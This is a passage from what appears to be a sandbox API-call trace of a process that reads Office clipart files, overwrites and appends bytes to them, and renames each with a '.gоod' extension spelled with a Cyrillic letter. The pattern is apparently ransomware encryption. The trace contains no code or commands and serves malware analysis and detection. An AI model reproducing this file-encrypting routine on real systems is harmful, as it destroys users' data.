lpFilePart=0x0) returned 0x44 [0196.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0196.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3704810 | out: lpFileInformation=0x3704810*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x504a)) returned 1 [0196.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0196.034] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", lpFilePart=0x0) returned 0x44 [0196.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.034] GetFileType (hFile=0x6e0) returned 0x1 [0196.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.035] GetFileType (hFile=0x6e0) returned 0x1 [0196.035] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0196.035] ReadFile (in: hFile=0x6e0, lpBuffer=0x3704c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3704c28*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0196.735] CloseHandle (hObject=0x6e0) returned 1 [0196.735] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", lpFilePart=0x0) returned 0x44 [0196.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.735] GetFileType (hFile=0x6e0) returned 0x1 [0196.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.735] GetFileType (hFile=0x6e0) returned 0x1 [0196.735] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x504a [0196.816] WriteFile (in: hFile=0x6e0, lpBuffer=0x35d9d78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x35d9d78*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0196.817] CloseHandle (hObject=0x6e0) returned 1 [0196.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", lpFilePart=0x0) returned 0x44 [0196.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.818] GetFileType (hFile=0x6e0) returned 0x1 [0196.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.818] GetFileType (hFile=0x6e0) returned 0x1 [0196.818] ReadFile (in: hFile=0x6e0, lpBuffer=0x35dc038, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x35dc038*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0196.846] CloseHandle (hObject=0x6e0) returned 1 [0196.846] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", lpFilePart=0x0) returned 0x44 [0196.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.846] GetFileType (hFile=0x6e0) returned 0x1 [0196.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.846] GetFileType (hFile=0x6e0) returned 0x1 [0196.846] WriteFile (in: hFile=0x6e0, lpBuffer=0x35dad90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x35dad90*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0196.846] CloseHandle (hObject=0x6e0) returned 1 [0196.846] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF", lpFilePart=0x0) returned 0x44 [0196.847] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0196.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0196.847] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x718b166f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x505a)) returned 1 [0196.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0196.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.gоod")) returned 1 [0196.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", lpFilePart=0x0) returned 0x44 [0196.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0196.848] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x3658428 | out: lpFileInformation=0x3658428*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd4897d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f1e)) returned 1 [0196.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0196.848] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", lpFilePart=0x0) returned 0x44 [0196.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0196.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0196.849] GetFileType (hFile=0x6e0) returned 0x1 [0196.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0196.849] GetFileType (hFile=0x6e0) returned 0x1 [0196.849] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0196.849] ReadFile (in: hFile=0x6e0, lpBuffer=0x3658840, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x3658840*, lpNumberOfBytesRead=0x1faedd28*=0xf1e, lpOverlapped=0x0) returned 1 [0197.366] CloseHandle (hObject=0x6e0) returned 1 [0197.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", lpFilePart=0x0) returned 0x44 [0197.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.483] GetFileType (hFile=0x6e0) returned 0x1 [0197.484] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.484] GetFileType (hFile=0x6e0) returned 0x1 [0197.484] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1f1e [0197.484] WriteFile (in: hFile=0x6e0, lpBuffer=0x375ae88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x375ae88*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0197.485] CloseHandle (hObject=0x6e0) returned 1 [0197.489] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", lpFilePart=0x0) returned 0x44 [0197.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.512] GetFileType (hFile=0x6e0) returned 0x1 [0197.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.512] GetFileType (hFile=0x6e0) returned 0x1 [0197.512] ReadFile (in: hFile=0x6e0, lpBuffer=0x3762b60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x3762b60*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0197.538] CloseHandle (hObject=0x6e0) returned 1 [0197.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", lpFilePart=0x0) returned 0x44 [0197.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.538] GetFileType (hFile=0x6e0) returned 0x1 [0197.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.538] GetFileType (hFile=0x6e0) returned 0x1 [0197.538] WriteFile (in: hFile=0x6e0, lpBuffer=0x375f428*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x375f428*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0197.538] CloseHandle (hObject=0x6e0) returned 1 [0197.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF", lpFilePart=0x0) returned 0x44 [0197.538] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0197.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0197.538] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x71f3fdb1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f2e)) returned 1 [0197.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0197.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.gоod")) returned 1 [0197.539] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", lpFilePart=0x0) returned 0x44 [0197.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0197.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), fInfoLevelId=0x0, lpFileInformation=0x37def70 | out: lpFileInformation=0x37def70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x34cb)) returned 1 [0197.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0197.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", lpFilePart=0x0) returned 0x44 [0197.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.541] GetFileType (hFile=0x6e0) returned 0x1 [0197.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.541] GetFileType (hFile=0x6e0) returned 0x1 [0197.541] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0197.541] ReadFile (in: hFile=0x6e0, lpBuffer=0x37df388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x37df388*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0197.542] CloseHandle (hObject=0x6e0) returned 1 [0197.542] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", lpFilePart=0x0) returned 0x44 [0197.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.542] GetFileType (hFile=0x6e0) returned 0x1 [0197.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.543] GetFileType (hFile=0x6e0) returned 0x1 [0197.543] SetFilePointer (in: hFile=0x6e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x34cb [0197.543] WriteFile (in: hFile=0x6e0, lpBuffer=0x37e0640*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x37e0640*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0197.544] CloseHandle (hObject=0x6e0) returned 1 [0197.544] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", lpFilePart=0x0) returned 0x44 [0197.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.544] GetFileType (hFile=0x6e0) returned 0x1 [0197.544] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.544] GetFileType (hFile=0x6e0) returned 0x1 [0197.544] ReadFile (in: hFile=0x6e0, lpBuffer=0x37e2900, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x37e2900*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0197.779] CloseHandle (hObject=0x6e0) returned 1 [0197.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", lpFilePart=0x0) returned 0x44 [0197.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0197.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0197.779] GetFileType (hFile=0x6e0) returned 0x1 [0197.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0197.779] GetFileType (hFile=0x6e0) returned 0x1 [0197.779] WriteFile (in: hFile=0x6e0, lpBuffer=0x3635038*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x3635038*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0197.780] CloseHandle (hObject=0x6e0) returned 1 [0197.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF", lpFilePart=0x0) returned 0x44 [0197.780] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.gоod", lpFilePart=0x0) returned 0x49 [0197.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0197.780] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccfc47e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccfc47e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x721a2394, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x34db)) returned 1 [0197.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0197.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.gоod")) returned 1 [0197.781] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF", lpFilePart=0x0) returned 0x44 [0197.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0197.781] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), fInfoLevelId=0x0, lpFileInformation=0x36eeab8 | out: lpFileInformation=0x36eeab8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xccd61fa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xccd61fa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccfc47e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, 